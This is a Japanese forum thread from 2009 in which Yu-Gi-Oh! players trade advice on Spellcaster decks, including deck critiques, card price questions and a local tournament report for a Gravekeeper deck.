デッキ診断お願いします ジェネクス軸魔力カウンターです デッキ41枚 上級2 トリッキー 下級20 ジェネクス・ブラストx3 偵察者x2 番兵 サモプリ コンダクターx3 ブレイカーx2 カイクウx3 ジェネクス・コントローラーx2 レアル・ジェネクス・コーディネイターx2 レアル・ジェネクス・オラクル 魔法14 簡易融合 大嵐 サイクロン ディメマx3 トゥーンのもくじx3 トゥーン・ワールド 貪欲 成金ゴブリンx3 罠5 激流 血の代償x2 奈落 リビデ エクストラ カオス・ウィザード テンペスター アーカナイト ウィンドファーム・ジェネクス レアル・ジェネクス・ヴィンディカイト レアル・ジェネクス・クロキシアン 他、汎用シンクロ うまく回ればサモプリ→ブラスト→コーディネイター→コントローラーで アーカナイトとテンペスター並べて無双できるものの、制限カードに頼るわけにもいかず、コンダクターだと今一歩 血の代償と二重召喚も悩みどころ トリッキーからウィンドファームやヴィンディカイトも出ます ちょっと詰め込みすぎた感もしますがアドバイスお願いします
オリジナリティあっていいな 組んだことないからアドバイスはできないけど
今気付いたがトリッキーからウィンドファームは出ねえ(^o^) 伏せ除去としてもアタッカーとしてもアーカナイトに軍配が上がるし せいぜいヴィンディカイトの素材になる程度…どこまで不遇なんだ
>>361 似たようなデッキ組んでるんで
ディメマやコンダクターでブラスト出すのは無駄多いし難しいしでお薦めできない
その辺やカウンター溜め用のカードを簡易融合やらに差し替えたほうがシンクロはしやすくなるはず
あと今のままだとオラクルって邪魔にしかならないように見える、出せるものほとんど無いし
>>363 つい最近オラクル+偵察者で黒騎士(※ クロキシアンのことね)出せるから強くねと考えていた
矢先にこういうデッキを見れるとラッキーです。
個人的意見だけど、ブラストが多く感じるから1枚でいいと思う。
この構築だと、手札にブラストが来ることは展開力を阻害するからね。
それとディメンションは3枚は多すぎるから2枚にした方が安定するよ。
ちょっと聞きたいんだが、墓守の長槍兵って墓守デッキに必要かな? 正直、暗殺者で事足りそうなんだが・・・
>>366 そこは自身で判断することであって他人にいちいち聞くことじゃないと思うんだ
>>364 コンダクターはコーディネイターを出すのが仕事です
オラクルはクロキシアン専用になってしまうが、ディメマのリリースにも使えるしいいかなと
試しにリサイクルに差し替えてみたが余計にダメでした。
もくじはブレイカーやアーカナイトにも使える掌握に差し替えました
魔力カウンターを使わない構成にすると
「純ジェネクスにアーカナイト・テンペスター派遣で良くね?」になってしまうので。
簡易融合は音楽家が手に入ったら足してみます
>>365 ブラストはデッキの中核なのにサモプリしかサーチ手段がないので3枚です
手札に来たのをディメマよりデッキ内のをサークルのほうがいいような気もしますが
こちらも診断をお願いします。 デッキ 42 上級 4 ダムド ゴーズ 皿×2 下級 18 エンディミオン ニュートロン×3 カイクウ×2 ディフェンダー ジェネコン×3 ゲイル 墓守の偵察者×2 墓守の番兵 クリッター オラクル コーディネイター×2 魔法 14 闇の誘惑×2 貪欲 ライボル 大嵐 ブレコン ハリケーン 操作 地砕き 月の書×2 サイクロン 罠 6 つり天井 ダスト ミラフォ 奈落×2 リビングデッド EX 13 カオス・ウィザード 音楽家 赤騎士×2 テンペスター ギガン 星屑、黒薔薇 ゴヨウ ブリュ アンドロイド クロキシアン ガイアナイト EXは調整中 ディザイシブは未所持 魔法使いにジェネクスを混ぜたデッキです。 コンセプトはサーチが容易なジェネクス達を使い、シンクロしながら戦います。 ニュートロンの効果でサーチしたチューナーは主に誘惑の効果で除外することを前提に使用しているため、 チューナーは多めに入れています。 クルセイダーはこのデッキの天敵であるライオウやカイクウを潰せるからという理由で入れています。 まわした感想はクロキシアンが出しやすい(3戦中1回は出せる)です。 チューナーが7枚もあるので手札事故が気になっていますが誘惑の存在のお陰で気になりません。 問題点はオラクルが使いにくく、良く誘惑の効果で除外してしまいます。 また、返せる時は返せるんですがそのまま押し切られることがあります。
>>369 ニュートロンで呼べるのはコントローラーだけなのは分かってるよな?
この構成だとオラクル呼べるジェネクスがいないからオラクルが無意味。
ニュートロンで呼べて汎用シンクロ可能なリサイクルに差し替えるべきかと。(経済的な理由かもしれないが)
簡易融合入ってないのにカオスウィザード?モンスター除去も多すぎないか?
クルセイダーもただのアタッカーとしての使用ならブレイカーのほうが良い。
>>370 オラクルはさっき回していたときに種族が違ったことに気がついたため抜きます。
リサイクルは持っていないけど、頑張って集めてみます。
除去は多いのかね?自分はこれがちょうど良かったけど調整してみます。
ブレイカーに関してですが今の環境だと割れそうなのが少ないので見送っていましたが検討してみます。
クルセイダーは光属性魔法使い族で19アタッカーという点で採用していましたが
光属性はニュートロンで事足りていたことが何度かあったので抜いて見ます。
簡易はただの書き忘れですorz
ライロアンデとしか調整してしていなにので他のデッキと対戦して調整してみたいと思います。
なんで魔法使いにジェネクス入れてるのか、構築の意図がわからん。
クロキシアンが出したいってだけなんだろうな。 ジェネクスチューナーぶち込みましたってだけじゃな… しかもサーチ手段がが機械族サポートのニュートロン 種族サポートも0枚で、魔法使いデッキと呼べるかも怪しい。
EXに余裕があるならジェネコン1枚刺しておくのは悪くない選択肢ではあるんだけどな こんだけジェネクス入れるならもうジェネクス特化した方がいいだろうけど 闇ならクロキシアン、風ならヴィンディカイト、水ならハイドロ、炎ならサーマルと出て来たらそれなりに役立つ場面も多いし *ただし地属性を除く
クロキシアンはシンクロ召喚すればかなり有利な状況を作ってくれるカードだからな ブラマジデッキにコーディネーター入れてクロキシアン出すのも最近の構築の1つだし
そりゃジェネクスに割と魔法使いがいるからだろ・・
377 :
名無しプレイヤー@手札いっぱい。 :2009/11/28(土) 08:40:07 ID:7S+pln9V0
ジェネクスって何で魔法使い族なんだろうな どう見ても機会族なのに
最新弾も出たし、弄ってみた。 アタッカーにヂェミナイ・熟練・カイクウを抱え 切り札にはエンディミオンや氷の女王や墓守の大神官を擁し トリッキーやBMGや太陽の神官や皿も下級みたいに出すのは簡単 師匠とヂェミナイ、コスモを軸にバニラビートを組んでもいいし 沈黙魔女や魔法族の里や黒の魔法神官でロックデッキもおk 最下級には執念・モノマネ・見習い・水晶など層も厚く、 下級にも優秀な壁の墓守の偵察者、ディフェンダー 種類が豊富なチューナー勢 モンスターを素早く呼んでこられるサモプリ 魔法使い達を束ねる先生 3400もの攻撃力を叩き出すリリー、魔法・罠除去のライラやブレイカーと有能なモンスターを擁す。 魔法は師匠関連の強烈なサポートにこれぞ魔法使いのディメンションとサークル 魔力カウンターも罠できちんとサポートしてる そして無限の可能性を秘めた魔法都市とアーカナイトとテンペスター・・・・・・・・・・・ そんな魔法使い達で最強を目指すためのスレです。 それとフォーチュン系は入れなくていいよね? また、ジェスター・コンフィー、エキセントリック、黒薔薇の魔女は無くてもいいよね?
ごちゃごちゃしすぎで見にくいから、変えたいんなら根本から変えれば?
ブラマジ、墓守、魔力カウンター、サイマジ、シンクロ、その他諸々 割と手広くなんでもござれな魔法使い共のスレです ざっくりまとめたら二行で収まった
ピケルたんとクランたんとエクスクルーダーたん!!! ↑これも追加で頼む
383 :
名無しプレイヤー@手札いっぱい。 :2009/11/29(日) 09:50:29 ID:gdcrwcQbO
墓守 ガンナー3 偵察3 暗殺3 司令官3 結束3 ネクロバレー3 誘惑2 生け贄3 スキドレ3 マイクラ2 スタロ1 神の宣告 闇デッキ2 奈落2 弾圧2 賄賂3 ミラフォ お願いします
縦書きだといやがられるぞ。末裔、大神官いれてもいいかもね。
マルチ死ね テンプレ読めないチンカスが
スタダ墓守作ってたら墓守が数枚になったでござる 生け贄快感すぎるぜ
>>379 作ってみた
早見表
看板モンスター
師匠 BMG
切り札
黒魔導の執行官 アイス・ブリザード・マスター ネオス・ワイズマン
氷の女王 王様 墓守の大神官
ドローカード
仮面魔道士 王立魔法図書館 水晶の占い師 ウォーテリー
フェデライザー
モンスター破壊
時の魔術師 魔法の操り人形 伝説の爆炎使い 執念深き老魔術師 血マジ ファイリー カトブレパス
魔法・罠破壊
ブレイカー ハンニバル・ネクロマンサー 結界術師 メイコウ
ライラ ウインディー エクスプローシブ
フィールド上のカード破壊
ジェネクス・ドクター 赤騎士バスター 赤騎士 墓守の末裔
手札破壊
白い泥棒 世紀の大泥棒 闇紅
自身を特殊召喚
皿 トリッキー ペーテン トイ・マジシャン エクゾディオス
ミラクル・フリッパー ジェスター・コンフィ 太陽の神官
モンスターを特殊召喚
幻想召喚師 熟練黒・白 見習い魔術師 墓守の偵察者 墓守の長
魂を呼ぶ者 サモプリ ネフティスの導き手 D・D・M 魔族召喚師
ルミナス レアル・ジェネクス・コーディネイター ライティー
ダルキー 先生 エキセントリック
耐性持ち
沈黙の魔女 LV8 魅惑の女王シリーズ デュアル・サモナー
氷結界の大僧正 ディフェンダー ノースウェムコ
モンスターサーチ
ウェポンサモナー ジェネクス・パワー・プランナー
バイオレット・ウィッチ ジェネクス・ブラスト 氷結界の決起隊
魔法・罠サーチ
黒衣の大賢者 墓守の司令官 アーケイン・ファイロ
カード回収
ピクシーナイト 創世の預言者
カード効果無効系
墓守の監視者 カオス・マジシャン 超魔導剣士-ブラック・パラディン
黒の魔法神官
幼女
ピケクラ 4霊使い エクスルーダー
一部無いのは分類するのがめんどくさかったから、やっていない。
>>383 OUT:お前 カード全て
IN:メール欄にsage 脳みそ
>>387 よっぽど長くなってんじゃねーかw
今まで通りか追加カード分をちょっと弄る程度でいいと思うけどな
個人的な感想だけど、他の種別スレに比べてもここの
>>1 は秀逸だと思ってるし
>>390 うん、そうだね。
魔法使い族の効果の分類表として扱うならともかく、
>>1 に入れるもんではなかったね。
別所で似たようなのを作ったからこちら用に貼ってみたけど、
我ながら流石にこれはひどいと思っている。
俺は
>>380 みたいなもんでいいと思うけどな
このスレで語るカテゴリの紹介だけしてあれば、後はwikiや検索サイト見たほうが早いし
唐突ですが、診断お願いします デッキ42 上級3 皿×2 ダムド 下級18 ブレイカー×2 ディフェンダー×2 見習い魔術師×3 ナイトエンドソーサラー×2 マジカルコンダクター×3 執念深き老魔術師 サモンプリースト マジカルフィシアリスト フレムベルマジカル BF疾風のゲイル ジャンクロン 魔法17 月の書×3 魔法都市×3 テラフォーミング×2 おろ埋×2 簡易融合×3 精神操作 洗脳 サイクロン 大嵐 罠4 奈落×2 激流葬 リビデ エクストラ 音楽家の帝王×3 カオスウィザード×2 アーカナイト×3 テンペスター×2 ゴヨウ ブラックローズ ブリュ スターダスト ギガンテック シンクロ軸でアーカナイトで除去って殴るアーカナイトビート的なデッキです。 コンダクター来た時と来ない時で雲泥の回転力なんですがうまい事安定感って上がりませんかね? あとダムドが結構腐るんですがダムドはいるのか・・・診断お願いします
腐るなら抜けばいいんじゃない?
>>393 デッキ枚数40枚にするとか、手札交換カード入れるとか
あとジャンク・シンクロン入れるなら、星5シンクロ1枚ぐらいあっても良いんじゃないか
>>393 闇が多いし誘惑入れればいいんじゃね
手札に存在する闇モンスターが全て必要になる状況はほとんど有り得ないし
それかダムドそのものを抜くか
なるほど、誘惑と星5シンクロ試してみます
風水師って何であんなに高いの? 調べてみたら、ビックリした。3枚200円とかって思ってたから。
>>398 絵
DT
唯一の魔法使い星3チューナー
都市結束は安定するなぁ 墓地に依存しすぎないように組めば除外は平気、ここでライロやアンデやBFと差がつく スキドレバルバロも気付いた時点で地割れ、地砕きをバルバロスまでため込めば結束された闇属性下級アタッカーでぼこぼこだわ 爆発力がないのが難点だが
俺も都市結束目指してパーツ集めてるんだが、どんな感じ? 晒してくれ
結束するなら里使うけどなぁ
>>399 エキセントリック「いい加減なこと言うなよカス」
里はライロに全く刺さらないからなあ… 結束都市使ってるが、ディフェンダーコンダクターが戦闘破壊されにくくなるのは大きい あと、結束下で3300になるエクスプローシブさんの出番が比較的多いのが個人的に嬉しい
昨日のことだが、一応報告 非公認大会で墓守で優勝してきたぜ
レポよろ
今期初の魔法使い族スレのレポをよろしくお願いします。
>>405 頼みます
天罰型の墓守を使ってるんだがいまいち打開案が見つからないもんで。
テンペスターが凶悪フィニッシャーになるのも楽しいよな
410 :
405 :2009/11/30(月) 18:47:16 ID:eohIXmbrO
これから飯食ってレポまとめるので、9時か10時あたりにパソコンから投下するよ。 大会レポとか初めてだから緊張するぜ
風水師より、クルセイだぜ・・・ アレ何なの? 別に使うつもりもないけど、ピン刺ししてみたいなと思って 調べたら・・・高いわw
墓守使ってたら、次元エアトスにボコボコにされた オレが通ります。 次元の裂け目で全部除外されるは、スキドレ貼られてバルバやガンドラがどしどし出るは・・・ 正直、勝てる気がしない
>>411 クルセイダーって誰得なの?
なんで高いの?
使えるデュアルだからだろ
魔力カウンターデッキならクルセイダーよりケルベロスの方がいいと思う 奈落にかからない上に、掌握+αで無理やりゴヨウ倒せたりと意外な活躍を見せてくれるぜ
3枚1300~1500円はなぁ・・・ホントに謎なんだよ!
417 :
405 :2009/11/30(月) 21:56:17 ID:WI3/IOvF0
どうも、今からレポ投下します うろ覚えな部分もあってあまり纏まってないと思う 正直今でも優勝したのは夢じゃないかと疑って(ry 投下開始
418 :
405 :2009/11/30(月) 21:57:18 ID:WI3/IOvF0
非公認大会レポート 使用デッキ:墓守 参加人数18人 トーナメント 1回戦 E・HERO ○×○ 1戦目 ネクロバレーとスカイスクレイパーでフィールド張替え合戦。 王家の生贄で相手の手札全部落ちてそのまま押し切って勝ち。 2戦目 またフィールド合戦。 ゼロ出されたので、こちらも大神官立てたが、ガイアにコンティネンタルハンマーされて負け。 3戦目 またまたフィールド(ry 攻撃力3700の大神官無双で押し切って勝ち。 2回戦 カオスロード ○×○ 1戦目 ネクロバレー刺さりまくり&天罰でライラ、ゴーズ涙目。 暗殺者2体でビートして終了。 2戦目 手札事故。モンスターがいない。相手はモンスターセットのみ。どうみてもライコウですほんと(ry その後モンスターが長槍兵1体しか引けず、除去もこなくて空気を読まない石版3枚。詰み。 3戦目 初手王家の生贄で相手の手札全部落ちる。賄賂神の宣告で何もさせず、裁きも天罰で乙。 そのまま押し切って勝ち。
419 :
405 :2009/11/30(月) 21:59:05 ID:WI3/IOvF0
3回戦 光メタビ ○×○ 1戦目 初手ネクロバレー張って、メタモル伏せて3枚セットエンド。相手はライオウ立たせてセットしてエンド。 どうも偵察者だと思っていたらしい。 相手がバルバ出してきたので全力で排除。スキドレ張られると最大打点で上回れるので、非常にめんどい。 下級の殴り合いで勝ちを拾う。石版おいしいです^^ 2戦目 サイドから大嵐と禁止令を投入。 バルバとライオウ指定して殴り勝つとか甘いこと考えてたらサイドラで乙。 モンスター引けねぇでやんの。 3戦目 中盤まで互いに一進一退の攻防。終盤お互いの手札が息切れしてきてるところで攻撃力3500の大神官さまのお出まし。 相手が効果破壊耐性と勘違いしてか、闇竜の黒騎士で突っ込んでオネスト。当然手札から墓守捨てて生き残る。さすが大神官、なんともないぜ。 そして3700となった大神官で押し切って勝ち。 決勝 次元検討エアトス ○○ 1戦目 お互いにモンスターだしては除去除去除去。 相手の次元幽閉で次々と消えていく墓守たち。おかげで序盤は石版が腐り気味だった。 幽閉3枚使ったところで大神官様が颯爽と手札に来てくれたので、ご登場お願いした。 残り相手ライフ500のところで、大神官守るために握っていた呪術師を召喚して勝ち。 2戦目 手札事故。悩んだ挙句、司令官切ってネクロバレー張り、全部伏せてエンド。 ラクエルやらガイザやら猫やらで押してきたが、月書天罰神宣奈落で潰す。 切り替えしてやろうかという段階で、相手の伏せは2枚。 とりあえず禁止令で次元幽閉といって殴ったらそのまま通ったので、殴り続ける。 そのまま押し切って勝ち。
420 :
405 :2009/11/30(月) 22:00:46 ID:WI3/IOvF0
モンスター 17枚 上級 墓守の大神官 下級 司令官×3 暗殺者×3 偵察者×3 末裔×3 呪術師 番兵 長槍兵 メタモルポット 魔法 13枚 ネクロバレー×3 月の書×3 石版×3 生け贄×2 地砕き ディメマ 罠 10枚 賄賂×3 神宣 ミラフォ 奈落×2 天罰×2 降霊の儀式 サイド ツイスター×3 禁止令×3 マイクラ 大嵐 ハリケーン サイクロン 苦痛×2 弾圧×2 メビウス エクストラ なし デッキとしてはパーミ寄りの墓守かな? 回しして墓守はやはりモンスターの展開と突破力は優秀だと改めて思った。 友人いわく「メインは普通だけど、サイドがおかしい」だそうです。 魔法罠で詰むのを防ぐためのサイドなんですけどね。 呪術師は俺の愛。でもサイドチェンジで抜かれる可哀想な(ry 大会の参加者のデッキは色々あったと思う。回転が早かったからよく見れなかったというのもあるけど、魔轟神とか光戦闘機とかいましたし。 とりあえず、これで一旦報告終ります。
乙 メインも結構独特じゃないか…? このメインだからこそ、このサイドデッキになりえるというか シンプルな構成だから、プレイングが与える影響が大きそうだ
おめでと
レポ乙です やっぱり末裔暗殺者は3安定かな? どうも腐りやすいんだよね。 とかく立ち回りの上手さ故の勝利ってやつか。すげー 呪術師で止めあたりがいいねw愛を感じるw
レポ乙 個人的に大神官は2積みの方がよさそうだと感じたんだが・・・ そこは個人のデッキ構築にもよるか・・・ シンクロ墓守じゃあ、もうダメなのかねぇ・・・
レポ乙です。
コレ見たら、急に墓守を作りたくなった。
>>416 どこぞのメタビで光デュアル型があるから、それが原因かもね。
クルセイダーのレートは確か300~500だから買ってもいいんじゃないかな。
レポ乙 クルセイダーの当初の値段が1000~1300くらいだったしそう考えれば安いんだがな・・・
熟練いるし、普通の魔法使い・魔力カウンターには入らんだろ
光ってだけでオネスト使えるからな
皿を使う魔法使い族デッキなら入れてもよさそうだ
メタビに使えるんだから他で無理して使わなくていいじゃない
デュアルデッキじゃないと足引っ張るから入れない
クルセイダーは馬力はあるんだけど燃費が悪すぎる感じ
やっぱり、デュアルは専用デッキじゃないと重いよなぁ
師匠デッキで回すならクルセイダーはかなりいけるんじゃない? スーペルヴィス装備させれば、破壊された後師匠が!!
うん。まあでもそんなうまくいかないんだよね
スペールとのシナジーならシュバリエの方が能動的に使えて遥かに強いからなぁ クルセとブラマジ、更にこれらを採用するデッキ内にに何か特別なシナジーでもあるなら良いんだが 結局現状デュアルで纏める以上の利点が皆無だからねぇ
サイレントマジシャンの魔力カウンター加速・・・・・・ レベルアップ!で十分か
いきなりすまんが、都市2テラフォ3のほうがカウンター貯めやすくないか?
フィールドとサーチのバランスは確か今回のスレでも出てたと思ったけど 例えば、フィールドの数が多いと相手もフィールドを使うデッキだと そこで生じる貼り替え合戦に強くなったり、自分でフィールドを潰す時 (相手のテンペ対策でカウンターが乗り過ぎた都市をセットで壊して相手にターンを渡す 自分で魔法使いを維持出来なかった時に里をセットで壊すetcetc) に有利になったりするメリットがある そしてサーチを多くすると魔力カウンターを貯めやすくなるのもそうだし 圧縮でデッキの回りがよくなるなんてメリットがある ついでに言えば3:3は単純に引きやすくなるし、2:2はデッキスペースを圧迫しない なんて理由で好む人も居る 結局どれも一長一短でどれが優れてるって結論は毎回出てない ぶっちゃけデッキ構成や好みの問題
テラフォの方が多いのは流石にダメだろ
テンペスターや手札コストの魔法入れていれば手札で腐っても使い道はあるけど、テラフォは1で十分かなって思ってる けど手札にくる確率を少しでも上げるなら多く入れるに越したこともないと思う 結局好みの問題
師匠デッキからガール抜いてトリッキー入れたら安定したけどなんか泣けた
入れ替えて安定したってならそれは弟子の特性を何も考えてないだけ 魔ウイルスの媒体にしたり(師匠が2体落ちれば闇ウイルスにも) 誘惑や皿のコストにしてそれを闇次元の解放で出したり 賢者の宝石で師匠と総攻撃をしかけたりと 弟子にしか出来ない動きはいくらでもある そもそもトリッキーと役割を被らせてる時点で構築が適当過ぎ
俺師匠3弟子2だしなめんな
>>446 IDが3P
BMとBMGと3Pか…ゴクリ…
ネタフリ?をする ↓ 叩かれる のループになってるな ネタが無いんだろうけど、この流れはなんだかなぁ~
プリズマーでブラマジと時マジ落としてマジコンで時マジ釣り上げ→タイムマジック決めてプリズマー生け贄黒衣ディメマサーチが楽しい
プリズマーってターン1回じゃなかったっけ?
デッキ診断をお願いします、コンセプトは魔法族の里と王宮のお触れによるロックデッキです。 カオス・ソーサラーの効果や地割れ地砕きディメンション・マジック等の除去で場を制圧し、 ダイレクトアタックによってビートダウンしていくように考えました。 魔法族の里と王宮のお触れが発動しても、モンスターの効果は防げません。 多少なりとも効果耐性のあるカオス・マジシャンを召還してロック完成と考えています。 上級5枚 カオス・ソーサラー2 カオス・マジシャン3 下級15枚 オネスト2 熟練の黒魔術師1 魔導騎士 ディフェンダー3 魔導戦士 ブレイカー3 見習い魔術師3 ものマネ幻想師3 魔法15枚 地砕き1 地割れ3 洗脳-ブレインコントロール1 ディメンション・マジック2 テラ・フォーミング1 ハリケーン1 魔道師の力3 魔法族の里3 罠5枚 王宮のお触れ3 神の宣告1 聖なるバリア-ミラーフォース-1 回してみた感想ですが、ロックが完成する前に決着がついてしまうことがしばしば。 1ターン目からロックが完成することもたまにありますが・・・ 魔術師の里と王宮のお触れがどちらかしか機能していなかったり、どちらも引くことが出来なかったり。 その場合、怪しげな魔法・罠カードはサイクロンやハリケーン、魔道戦士 ブレイカーの効果で対処します。 カオス・マジシャンと魔導騎士 ディフェンダーものマネ幻想師が光属性なので、 オネストによる強化が可能、相手の切り札モンスターを戦闘で破壊できます。 相手が強力なモンスターを召還していた場合、ものマネ幻想師がかなり生きてきます。 見習い魔術師からのリクルートでものマネ幻想師召還→地割れ→ダイレクトアタックとか、 シンプルだけど強力かな~と思っています。 比較的簡単に光と闇が墓地に揃うので、カオス・ソーサラーの召還も容易かと。 同じような魔法使い族デッキを相手にする場合には苦労しそうですが、 こちらはサイドデッキで魔法族の里を入れ替えればとりあえず対処出来るかなと思います。 魔法罠を軸にしたデッキには戦いやすいかな~と思う反面、 モンスターの効果が強力な剣闘獣・ライトロード・BF等の流行のテーマデッキが苦手だと思います。 特に召還したときに場のカードを破壊~とかはもう相性最悪です・・・ 最近遊戯王に戻ってきたばかりで新しいカードなどを把握しておらず、勉強中です。 ロックを考えるより素直なデッキのほうが強いのかも・・・とかちょっと考えてたり。 先輩方のアドバイスをお願い致します・・・長文失礼しました。
で、何を診て欲しいのかと
>>452 里ビートはお触れでロックするより罠で相手モンスター除去した方がいいよ
モンスターはカイクウが優秀だから参考にどうぞ
オネスト抜いて結束かな
>>454 アドバイスありがとうございます。
罠で相手モンスターを除去・・・すごく参考になりました。
基本的なことですが王宮のお触れを抜くという考えが無かったので、
本当に効果モンスターの対処に頭を悩ませていたんです。
剣闘獣なんかを相手にするときの希望が少し見えてきました。
カイクウもいいんですよね・・・というかちょっと前まで入れていたんですが、
ディフェンダーの魔力カウンター利用の兼ね合いで熟練の黒魔術師を入れてみたり・・・
この辺のモンスターのバランスをちょっといろいろいじくってやってみます。
>>455 このデッキを組んでいて悩んだ末最後に入れたのがオネストでした。
除去カードを多めに入れているとはいえ、全体的に攻撃力不足を感じていましたし、
相手にとって厄介なカードは・・・というふうに選びましたが、
闇属性には使えないですし、何より魔法使い族ではない・・・
結束なら全体強化になりますし、デッキにも合いそうです。
採用してみようと思います、ありがとうございました。
王宮のお触れってみんなオススメしないけどなんで? お触れがないと奈落ミラフォ激流脱出幽閉で除去ビートされてかなり痛いんだが
弾圧スキドレ神宣賄賂奈落脱出した方が強いから
そういうメタカードは環境によるとしかいえない
魔法使いが触れなんて置いたらライロやらアンデに フルボッコにされんだろうが
お触れ使うならノーガードで一気に殴り倒さないと駄目だよ メインに複数枚積むなら1枚だけお触れにして残りはスタンで十分
話に割り込む。 俺もお触れ抜けなくて困ってたから決心ついて助かった。 よこから突然出てきて失礼だけど、ありがとうな
脳開発研究所とマックステレポーターが軸のアーカナイトビート晒したいんだけど ここでいい?それともサイキックスレ行った方がいい?
両方じゃね?
>>464 両方でやると叩かれるってイメージがあるんだが大丈夫?
魔法使いが一番大きなテーマならこっちじゃないかな 個人的にその2枚をどうやって軸にするのか気になる。
モンスター19 ブレイカー2 ディフェンダー2 熟練2 墓守の番兵 サイコマンダー3 クレボンス3 サモプリ テレポーター2 メンタルプロテクター カバリスト アーマードサイキッカー 魔法13 緊急テレポート 脳開発3 テラフォ2 光のごふう権 サイクロン 簡易融合3 抹殺の使徒 大嵐 罠9 パワーストーン3 激流荘 サイコチャージ サイコチューン2 リビングデッド ミラフォ エクストラ アーカナイト3 テンペスター2 ゴヨウ ブラックローズ アンドロイド メンスフィ ハイパーサイコガンナー2 音楽家2 カオスウィザード2 テレポーター、緊急テレポート、サイコチューン、研究所、アーマードでサイキック族チューナーを特殊召還→アーカナイトに繋げる 特にテレポーターからアーカナイトに繋げればハイパーサイコガンナーを呼べるのでがら空きにして大ダメージを与えれる 都市が無い分をパワーストーンでカバー 回した感想として、手札消費が激しいのと除去に弱い 速さはあると思う
誤字が気になる。 サイキックに魔法使い要素を追加した感じだね。 わかっていると思うけど、テレポーターでクレポンスを呼べないのはわかっているよね? 熟練を抜いて偵察者を入れれば、テレポーターの召喚補助にもなるし、 アーカナイトも組めるからオススメ サイコチューンとアーマード・サイキッカーが浮いているような気がするけど、そこんとこはどう?
>>468 どうも
誤字はすまん…
クレボンス呼べないのはわかってる
偵察者は良さげだね
サイコチューンは第二リビデとして活躍してるが
アーマードは確かに浮いてる
470 :
名無しプレイヤー@手札いっぱい。 :2009/12/06(日) 09:13:55 ID:ECUIMj6HO
カオスソーサラー使いたくて、闇と光の魔法使いを組もうと思ってるんだけど、結束って積める? 色々こだわりがあってライラ、ルミナスは入れたく無いんだ となると光の魔法使いはいいのが思い付かないwww
探したらかなり出てきたし吟味してみたら
妖精の贈り物とか白い泥棒だっけか? この人達オススメ
ディフェンダーとかクルセイダーもいるし、結構楽に組めるんじゃない?
ディフェンダー、クルセイダー、図書館とか チューナーにもフィシアリストがいるし
実際皿軸組んでるけど使いやすいのは ディフェンダーとフィシアリスト(とライラ)ぐらい エクストラ勢もコストになるから数はこれで足りる
ていうか魔法使いテーマにデッキ組んだら自然と光と闇半々になってね? それとも俺の作り方がダメなだけ?
自分は闇ばっかになって皿が使えなかったから無理矢理光つっこんだよ
ミュージシャンキングとアーカナイトも光だから結構すぐ溜まる
皿の存在のみに振り回されて無理やり素材詰め込んだらバランス悪くならね? まあそれほど皿の存在が偉大なんだろうけど
創世の預言者も光で強いぞ? 回収先がいなくても1800アタッカーだ。 あとメイコウもそれなりに使える
回収先も一応ダムドが・・・
魔法使いのデッキでそんなに回収したいような ☆7以上のカードあるか? まぁ魔法使いを絡めたデッキというなら分かるけど 魔法使いが中心になるデッキならそんなにない印象だな
氷の女王忘れてないか?
結束軸だとものマネ幻想師はなかなか働く
名前すら上がらないコスモクイーンさん・・・
もうディメマの時代は終わったのさ
俺のデッキじゃまだまだ頑張ってくれてるぜ
コスモクイーン>>氷の女王 だろ。特殊召喚できないのは痛い。
ディメマ3積みまだまだ現役
もうだめだ…orz 魔力カウンターをずっと組んでたんだが今日大会で 「モンスター入れすぎ。これゴミ。」っていわれたお… 普通ならキレるとこだが確かに説得力あったから納得してしまった… ちょっと診断頼んでもいいか?
魔力カウンターっていうと1キルだけって思い込んでるんじゃないかそいつ
>>491 相手はそこまで言っておいて代案とかアドバイスは
寄こしてきたのか?
否定するだけ否定しておいて代案出せないやつはたいしたことないから
あんまり気にすんなよ
まぁでも心当たりがあったんならこれから改良していけよ
それと魔力カウンターで大会に出てみた度胸はすばらしいわw
上級 ソーサラー×1 下級 熟練黒×2 コンダクター×2 フィシアリスト×1 風水師×2 ゲイル×1 ブレイカー×1 ディフェンダー×2 見習い×3 執念×2 サイココマンダー×1 クレボンス×1 サモプリ×1 ロードシンクロン×1 魔法 都市×3 テラフォ×1 魔力掌握×3 カップ麺×2 サイクロン×1 大嵐×1 地砕き×1 成金×2 緊テレ×1 罠 奈落×2 聖バリ×1 エキストラ ブリューナク×1 ゴヨウ×1 カタストロ×1 マジックテンペスター×2 アーカナイト2 ダスト×1黒薔薇×1 レモン×1 パーシアス×1 音楽家×2 カオス×2 こんな感じだ…確かにモンスターがダブついて固まってしまうことが多いんだよな ゴミって言われるひどいだろうか?このデッキ…診断頼むわ
>>495 割と普通の魔力カウンターだなw 気にすることないと思うぞ
見習い×3 執念×2 サイココマンダー×1 クレボンス×1 ロードシンクロン×1 ここらへんいらなくね?
コマンダーとボンスは緊テレ用だろ
いや、だから緊テレもいらなくね?
>>495 out
ロードシンクロン、サイキック一式
in
フレムベルマジカル、洗脳ブレイン
あとこれだけチューナー積んでるなら、精神操作とかもいいかもね
>>495 out:クレボンス、サイコ・コマンダー、ロードシンクロン、緊テレ、成金
in:ナイトエンド、ブレイカー、コンダクター、ディフェンダー、激流葬etc
全体的に2積みやピン刺しが多くて中途半端な感じが否めない
あとチューナーは魔法使いチューナーを採用した方がコンダクターとのシナジー的にいいと思う
>>495 魔力カウンター組んだ事無いけど
ロードシンクロンって意味あるの?
>>495 魔力カウンターの時点でゴミだから気にしなくてok
out 風水師×2ロードシンクロン×1ゲイル×1執念×2聖バリ×1魔力掌握×3
in ソーサラー×1夜皿×2コンダクター×1もくじ×3成金×1おろ埋×2ゾンキャリ×1
カップめん入ってるならコンダクター+夜皿は安定、夜皿の除外は意外と刺さること多いからお勧め。
いくら事実だとしてもゴミ呼ばわりは人間性を疑うな
遊戯王で相手の人間性を期待するなよ
いい年してカードゲームやってる時点でたいした人間じゃないよな 俺も含めて
太陽の神官だっけな 専用デッキでなくとも採用の余地はあると思う
シンクロ素材に使うだけなら簡易で十分だから+αの使い道が欲しい所
神官ってあれだろ? トリッキー買う金が無い奴が使うっていう
>>495 第一に魔法使い縛りや魔力カウンターである意味が薄い
都市に魔力カウンター溜まっても使う要素が安定して来ないだろうし
第二にどうも勝ち筋が見えてこない、もしくは細い
正直テンプレ強カード+魔力カウンター+こだわりのカード詰め込みましたって感じに見える
それと魔力カウンターで勝ちたいなら・アーカナイト軸・テンペスター軸・エンディミオン軸のどれかで絞った方が良いよ
若しくは都市抜いて魔法使いビートに戻す選択肢も有り
モンスターがダブつくなら、それこそディメマを1~2枚挿せばいい
>>551 光属性+手札消費無し+手札補充先有り(しかもチューナー、専用シンクロ有り)ってだけで十分差別化じゃね?
